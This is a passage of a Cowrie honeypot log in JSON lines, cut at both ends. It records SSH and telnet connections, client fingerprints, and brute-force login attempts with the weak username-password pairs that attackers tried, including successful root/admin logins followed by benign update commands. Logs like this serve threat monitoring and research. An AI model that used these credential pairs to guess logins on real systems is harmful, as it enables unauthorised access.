s256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:27:34.399762Z","src_ip":"84.239.42.8","session":"01488a1bcb48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Guest","password":"123","message":"login attempt [Guest/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:27:34.909968Z","src_ip":"84.239.42.8","session":"01488a1bcb48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:27:36.043295Z","src_ip":"84.239.42.8","session":"01488a1bcb48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.71.233.73","src_port":20696,"dst_ip":"10.17.0.5","dst_port":22,"session":"be03387a27b9","protocol":"ssh","message":"New connection: 185.71.233.73:20696 (10.17.0.5:22) [session: be03387a27b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:27:36.837847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:27:36.842460Z","src_ip":"185.71.233.73","session":"be03387a27b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:27:37.086870Z","src_ip":"185.71.233.73","session":"be03387a27b9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:27:37.732483Z","src_ip":"185.71.233.73","session":"be03387a27b9","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":60,"message":"Terminal Size: 80 60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:27:38.188232Z","src_ip":"185.71.233.73","session":"be03387a27b9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:27:38.424613Z","src_ip":"185.71.233.73","session":"be03387a27b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.71.233.73","src_port":20715,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3b80d4419db","protocol":"ssh","message":"New connection: 185.71.233.73:20715 (159.203.135.109:22) [session: e3b80d4419db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:27:38.901098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:27:38.905091Z","src_ip":"185.71.233.73","session":"e3b80d4419db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:27:39.129069Z","src_ip":"185.71.233.73","session":"e3b80d4419db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"31.3","message":"Connection lost after 31.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:27:39.449157Z","src_ip":"47.239.15.75","session":"10cea80546ad","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"apt-get update -y","message":"CMD: apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:27:39.648057Z","src_ip":"185.71.233.73","session":"be03387a27b9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:27:39.835581Z","src_ip":"185.71.233.73","session":"e3b80d4419db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":41920,"dst_ip":"159.203.135.109","dst_port":22,"session":"e75aa4e8aa55","protocol":"ssh","message":"New connection: 198.98.55.71:41920 (159.203.135.109:22) [session: e75aa4e8aa55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:27:40.101685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:27:40.107313Z","src_ip":"198.98.55.71","session":"e75aa4e8aa55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:27:40.115955Z","src_ip":"198.98.55.71","session":"e75aa4e8aa55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"user","message":"login attempt [test/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:27:40.167206Z","src_ip":"198.98.55.71","session":"e75aa4e8aa55","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":60,"message":"Terminal Size: 80 60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:27:40.313282Z","src_ip":"185.71.233.73","session":"e3b80d4419db","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:27:40.569882Z","src_ip":"185.71.233.73","session":"e3b80d4419db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:27:41.175437Z","src_ip":"198.98.55.71","session":"e75aa4e8aa55","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"apt-get update -y","message":"CMD: apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:27:41.807213Z","src_ip":"185.71.233.73","session":"e3b80d4419db","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"sudo apt-get update -y","message":"CMD: sudo apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:27:55.683403Z","src_ip":"185.71.233.73","session":"be03387a27b9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"admin","message":"CMD: admin","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:27:57.016484Z","src_ip":"185.71.233.73","session":"be03387a27b9","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"admin ","message":"Command not found: admin ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:27:57.020427Z","src_ip":"185.71.233.73","session":"be03387a27b9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"sudo apt-get update -y","message":"CMD: sudo apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:27:57.835282Z","src_ip":"185.71.233.73","session":"e3b80d4419db","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"admin","message":"CMD: admin","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:27:58.861741Z","src_ip":"185.71.233.73","session":"e3b80d4419db","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"admin ","message":"Command not found: admin ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:27:58.865069Z","src_ip":"185.71.233.73","session":"e3b80d4419db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":36892,"dst_ip":"10.17.0.5","dst_port":23,"session":"51e0af491efe","protocol":"telnet","message":"New connection: 45.58.127.90:36892 (10.17.0.5:23) [session: 51e0af491efe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:28:01.877276Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":52934,"dst_ip":"159.203.135.109","dst_port":22,"session":"e970bf2ae89f","protocol":"ssh","message":"New connection: 47.239.15.75:52934 (159.203.135.109:22) [session: e970bf2ae89f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:28:10.183581Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":39778,"dst_ip":"159.203.135.109","dst_port":22,"session":"902143a35fa3","protocol":"ssh","message":"New connection: 98.70.48.241:39778 (159.203.135.109:22) [session: 902143a35fa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:28:11.542564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:28:11.550763Z","src_ip":"98.70.48.241","session":"902143a35fa3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:28:11.734856Z","src_ip":"98.70.48.241","session":"902143a35fa3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456!@#$%^","message":"login attempt [ubuntu/123456!@#$%^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:28:12.502185Z","src_ip":"98.70.48.241","session":"902143a35fa3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a","size":718,"shasum":"54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a","duplicate":true,"duration":"34.3","message":"Closing TTY Log: var/lib/cowrie/tty/54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a after 34.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:28:12.733166Z","src_ip":"185.71.233.73","session":"be03387a27b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"36.1","message":"Connection lost after 36.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:28:12.968063Z","src_ip":"185.71.233.73","session":"be03387a27b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:28:13.689599Z","src_ip":"98.70.48.241","session":"902143a35fa3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a","size":718,"shasum":"54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a","duplicate":true,"duration":"34.3","message":"Closing TTY Log: var/lib/cowrie/tty/54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a after 34.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:28:14.891706Z","src_ip":"185.71.233.73","session":"e3b80d4419db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"36.2","message":"Connection lost after 36.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:28:15.131757Z","src_ip":"185.71.233.73","session":"e3b80d4419db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":47290,"dst_ip":"159.203.135.109","dst_port":22,"session":"df181a96f9e9","protocol":"ssh","message":"New connection: 87.106.29.151:47290 (159.203.135.109:22) [session: df181a96f9e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:28:17.917362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:28:17.922777Z","src_ip":"87.106.29.151","session":"df181a96f9e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:28:18.023432Z","src_ip":"87.106.29.151","session":"df181a96f9e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd@123","message":"login attempt [root/P@ssw0rd@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:28:18.422833Z","src_ip":"87.106.29.151","session":"df181a96f9e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:28:19.519453Z","src_ip":"87.106.29.151","session":"df181a96f9e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":60214,"dst_ip":"10.17.0.5","dst_port":23,"session":"17654daff603","protocol":"telnet","message":"New connection: 45.58.127.90:60214 (10.17.0.5:23) [session: 17654daff603]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:28:34.581567Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":60218,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b354063bfa7","protocol":"telnet","message":"New connection: 45.58.127.90:60218 (10.17.0.5:23) [session: 5b354063bfa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:28:35.981006Z"}
{"eventid":"cowrie.session.closed","duration":38.05741357803345,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:28:39.934526Z","src_ip":"45.58.127.90","session":"51e0af491efe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":34350,"dst_ip":"159.203.135.109","dst_port":22,"session":"406fdbc89df8","protocol":"ssh","message":"New connection: 98.70.48.241:34350 (159.203.135.109:22) [session: 406fdbc89df8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:29:10.249193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:29:10.254102Z","src_ip":"98.70.48.241","session":"406fdbc89df8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.c